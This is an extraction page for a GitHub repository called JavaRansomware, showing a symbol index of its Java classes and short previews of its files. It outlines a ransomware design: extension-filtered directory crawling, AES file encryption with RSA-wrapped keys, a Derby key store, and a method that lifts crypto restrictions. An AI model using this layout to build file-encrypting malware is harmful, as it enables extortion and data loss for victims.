    method DerbyStorage (line 13) | private DerbyStorage() {
    method getInstance (line 29) | public static DerbyStorage getInstance() {
    method tableExists (line 43) | private boolean tableExists() throws SQLException {
    method createTable (line 55) | private void createTable() throws SQLException {
    method storeString (line 63) | public void storeString(String value) throws SQLException {
    method retrieveString (line 86) | public String retrieveString() throws SQLException {
    method close (line 100) | public void close() {

FILE: src/main/java/com/security/EncryptKeyHandler.java
  class EncryptKeyHandler (line 8) | public class EncryptKeyHandler implements Handler<PipelineData, Pipeline...
    method process (line 9) | @Override

FILE: src/main/java/com/security/Example.java
  class Example (line 8) | public class Example {
    method main (line 13) | public static void main(String[] args) throws RansomwareException, Gen...

FILE: src/main/java/com/security/GenSymmetricKeyHandler.java
  class GenSymmetricKeyHandler (line 5) | public class GenSymmetricKeyHandler implements Handler<PipelineData, Pip...
    method process (line 6) | @Override

FILE: src/main/java/com/security/Handler.java
  type Handler (line 3) | interface Handler<I, O> {
    method process (line 4) | O process(I input);

FILE: src/main/java/com/security/Pipeline.java
  class Pipeline (line 3) | public class Pipeline<I, O> {
    method Pipeline (line 7) | public Pipeline(Handler<I, O> currentHandler) {
    method addHandler (line 11) | public <K> Pipeline<I, K> addHandler(Handler<O, K> newHandler) {
    method execute (line 15) | public O execute(I input) {

FILE: src/main/java/com/security/PipelineData.java
  class PipelineData (line 8) | @Setter
    method PipelineData (line 18) | public PipelineData() {
    method equals (line 22) | @Override
    method hashCode (line 29) | @Override
    method toString (line 34) | @Override

FILE: src/main/java/com/security/RSACipher.java
  class RSACipher (line 16) | public class RSACipher {
    method RSACipher (line 26) | private RSACipher() throws NoSuchPaddingException, NoSuchAlgorithmExce...
    method getInstance (line 35) | public static RSACipher getInstance() throws NoSuchPaddingException, N...
    method Init (line 49) | private void Init() {
    method encrypt (line 65) | public String encrypt(byte[] data, PublicKey publicKey) throws Invalid...
    method decrypt (line 71) | public String decrypt(String encrypted, PrivateKey privateKey) throws ...
    method removeCryptographyRestrictions (line 78) | private static void removeCryptographyRestrictions() {
    method isRestrictedCryptography (line 114) | private static boolean isRestrictedCryptography() {

FILE: src/main/java/com/security/RSAGenKeyReader.java
  class RSAGenKeyReader (line 12) | public class RSAGenKeyReader {
    method generateKeyPair (line 16) | public static StringKeyPair generateKeyPair() throws GeneralSecurityEx...
    method loadPublicKey (line 25) | public static PublicKey loadPublicKey(String stored) throws GeneralSec...
    method loadPrivateKey (line 32) | public static PrivateKey loadPrivateKey(String key64) throws GeneralSe...
    method loadPrivateKey (line 41) | public static PrivateKey loadPrivateKey(File PrivFile) throws Exception {
    method loadPublicKey (line 48) | public static PublicKey loadPublicKey(File PubFile) throws Exception {

FILE: src/main/java/com/security/RansomwareDecryptHandler.java
  class RansomwareDecryptHandler (line 13) | public class RansomwareDecryptHandler implements Handler<PipelineData, P...
    method process (line 16) | @Override

FILE: src/main/java/com/security/RansomwareEncryptHandler.java
  class RansomwareEncryptHandler (line 13) | public class RansomwareEncryptHandler implements Handler<PipelineData, P...
    method process (line 16) | @Override

FILE: src/main/java/com/security/RansomwareException.java
  class RansomwareException (line 4) | public class RansomwareException extends Exception {
    method RansomwareException (line 6) | public RansomwareException(String message) {
    method RansomwareException (line 10) | public RansomwareException(String message, Throwable throwable) {
    method toString (line 14) | @Override

FILE: src/main/java/com/security/SearchDirectory.java
  class SearchDirectory (line 14) | public class SearchDirectory {
    method SearchDirectory (line 289) | public SearchDirectory(String PathtoFind) {
    method AddContainFilter (line 424) | private void AddContainFilter() {
    method SavAllFilters (line 568) | private void SavAllFilters() {
    method SaveToMap (line 583) | private void SaveToMap(String extension, String FilePath) {
    method GetFileMap (line 904) | public TreeMap<String, HashMap<String, String>> GetFileMap() {

FILE: src/main/java/com/security/Serializer.java
  class Serializer (line 10) | @Getter
    method Serializer (line 17) | private Serializer() throws ClassNotFoundException {
    method getInstance (line 36) | @SneakyThrows

FILE: src/test/java/com/Examples/ExampleTest.java
  class ExampleTest (line 27) | @TestMethodOrder(MethodOrderer.OrderAnnotation.class)
    method PipelineTest (line 33) | @Test
    method DatabaseTest (line 60) | @Test
    method PrintAllPaths (line 84) | @Test
    method RSAEncryption (line 114) | @Test
    method AESEncryption (line 126) | @Test
    method RSAWithAESEncryption (line 135) | @Test
    method tearDown (line 150) | @AfterAll
Condensed preview — 34 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (112K chars).
[
  {
    "path": ".gitignore",
    "chars": 415,
    "preview": "# Compiled class file\n*.class\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Packa"
  },
  {
    "path": "LICENSE",
    "chars": 1067,
    "preview": "MIT License\n\nCopyright (c) 2016 panagiotis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy"
  },
  {
    "path": "README.md",
    "chars": 13277,
    "preview": "<div align=\"center\">\n\n<sup>Special thanks my followers for supporting me:</sup>\n\n<div>\n<img src=\"./logo.png\" width=\"230\""
  },
  {
    "path": "appveyor.yml",
    "chars": 2187,
    "preview": "environment:\n  MAVEN_OPTS: \"-Xmx8g -XX:MaxMetaspaceSize=12g\"\n  MAVEN_VERSION: 3.9.9\n  APPVEYOR_BUILD_ID: 1\n  APPVEYOR_BU"
  },
  {
    "path": "dependency-reduced-pom.xml",
    "chars": 8187,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2"
  },
  {
    "path": "encryptedKeyDB/README_DO_NOT_TOUCH_FILES.txt",
    "chars": 608,
    "preview": "\n# *************************************************************************\n# ***              DO NOT TOUCH FILES IN TH"
  },
  {
    "path": "encryptedKeyDB/log/README_DO_NOT_TOUCH_FILES.txt",
    "chars": 532,
    "preview": "\n# *************************************************************************\n# ***              DO NOT TOUCH FILES IN TH"
  },
  {
    "path": "encryptedKeyDB/seg0/README_DO_NOT_TOUCH_FILES.txt",
    "chars": 533,
    "preview": "\n# *************************************************************************\n# ***              DO NOT TOUCH FILES IN TH"
  },
  {
    "path": "encryptedKeyDB/service.properties",
    "chars": 939,
    "preview": "#C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\encryptedKeyDB\n# ********************************************************"
  },
  {
    "path": "pom.xml",
    "chars": 11916,
    "preview": "<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:sc"
  },
  {
    "path": "secret.key",
    "chars": 44,
    "preview": "9HpDHVU9FshbvImYQb1EQE8dV0mYvUWQbc5VHqzS4HI="
  },
  {
    "path": "src/assembly/assembly.xml",
    "chars": 707,
    "preview": "<assembly xmlns=\"http://maven.apache.org/plugins/maven-assembly-plugin/assembly/3.7.1\"\n          xmlns:xsi=\"http://www.w"
  },
  {
    "path": "src/main/java/com/security/AESCipher.java",
    "chars": 4125,
    "preview": "package com.security;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.SecretKey;\nimpo"
  },
  {
    "path": "src/main/java/com/security/DatabaseRetrieveHandler.java",
    "chars": 584,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\n\npublic class DatabaseRetrieveHandler implements Handler<PipelineData"
  },
  {
    "path": "src/main/java/com/security/DatabaseStoreHandler.java",
    "chars": 635,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\n\npublic class DatabaseStoreHandler implements Handler<PipelineData, P"
  },
  {
    "path": "src/main/java/com/security/DecryptKeyHandler.java",
    "chars": 715,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\n\nimport java.security.PrivateKey;\n\npublic class DecryptKeyHandler imp"
  },
  {
    "path": "src/main/java/com/security/DerbyStorage.java",
    "chars": 3944,
    "preview": "package com.security;\n\nimport java.sql.*;\n\npublic class DerbyStorage {\n    private static final String DB_URL = \"jdbc:de"
  },
  {
    "path": "src/main/java/com/security/EncryptKeyHandler.java",
    "chars": 679,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\n\nimport java.nio.charset.StandardCharsets;\nimport java.security.Publi"
  },
  {
    "path": "src/main/java/com/security/Example.java",
    "chars": 2661,
    "preview": "package com.security;\n\n\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.security.GeneralSecurityExcep"
  },
  {
    "path": "src/main/java/com/security/GenSymmetricKeyHandler.java",
    "chars": 405,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\n\npublic class GenSymmetricKeyHandler implements Handler<PipelineData,"
  },
  {
    "path": "src/main/java/com/security/Handler.java",
    "chars": 75,
    "preview": "package com.security;\n\ninterface Handler<I, O> {\n    O process(I input);\n}\n"
  },
  {
    "path": "src/main/java/com/security/Pipeline.java",
    "chars": 463,
    "preview": "package com.security;\n\npublic class Pipeline<I, O> {\n\n    private final Handler<I, O> currentHandler;\n\n    public Pipeli"
  },
  {
    "path": "src/main/java/com/security/PipelineData.java",
    "chars": 1238,
    "preview": "package com.security;\n\nimport lombok.Getter;\nimport lombok.Setter;\n\nimport java.util.Objects;\n\n@Setter\n@Getter\npublic cl"
  },
  {
    "path": "src/main/java/com/security/RSACipher.java",
    "chars": 5026,
    "preview": "package com.security;\n\nimport org.bouncycastle.jce.provider.BouncyCastleProvider;\n\nimport javax.crypto.BadPaddingExcepti"
  },
  {
    "path": "src/main/java/com/security/RSAGenKeyReader.java",
    "chars": 2308,
    "preview": "package com.security;\n\nimport org.apache.commons.codec.binary.Base64;\n\nimport java.io.File;\nimport java.nio.file.Files;\n"
  },
  {
    "path": "src/main/java/com/security/RansomwareDecryptHandler.java",
    "chars": 1314,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io."
  },
  {
    "path": "src/main/java/com/security/RansomwareEncryptHandler.java",
    "chars": 1314,
    "preview": "package com.security;\n\nimport lombok.SneakyThrows;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io."
  },
  {
    "path": "src/main/java/com/security/RansomwareException.java",
    "chars": 355,
    "preview": "package com.security;\n\n\npublic class RansomwareException extends Exception {\n\n    public RansomwareException(String mess"
  },
  {
    "path": "src/main/java/com/security/SearchDirectory.java",
    "chars": 32125,
    "preview": "package com.security;\n\n\nimport org.apache.commons.io.FilenameUtils;\n\nimport java.io.IOException;\nimport java.nio.file.Fi"
  },
  {
    "path": "src/main/java/com/security/Serializer.java",
    "chars": 1444,
    "preview": "package com.security;\n\n\nimport lombok.Getter;\nimport lombok.SneakyThrows;\nimport org.apache.fury.Fury;\nimport org.apache"
  },
  {
    "path": "src/resources/test.txt",
    "chars": 9,
    "preview": "test data"
  },
  {
    "path": "src/test/java/com/Examples/ExampleTest.java",
    "chars": 7037,
    "preview": "package com.Examples;\n\nimport com.security.*;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io.filef"
  }
]

// ... and 2 more files (download for full content)

About this extraction

This page contains the full source code of the PanagiotisDrakatos/JavaRansomware GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 34 files (104.4 KB), approximately 25.6k tokens, and a symbol index with 80 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!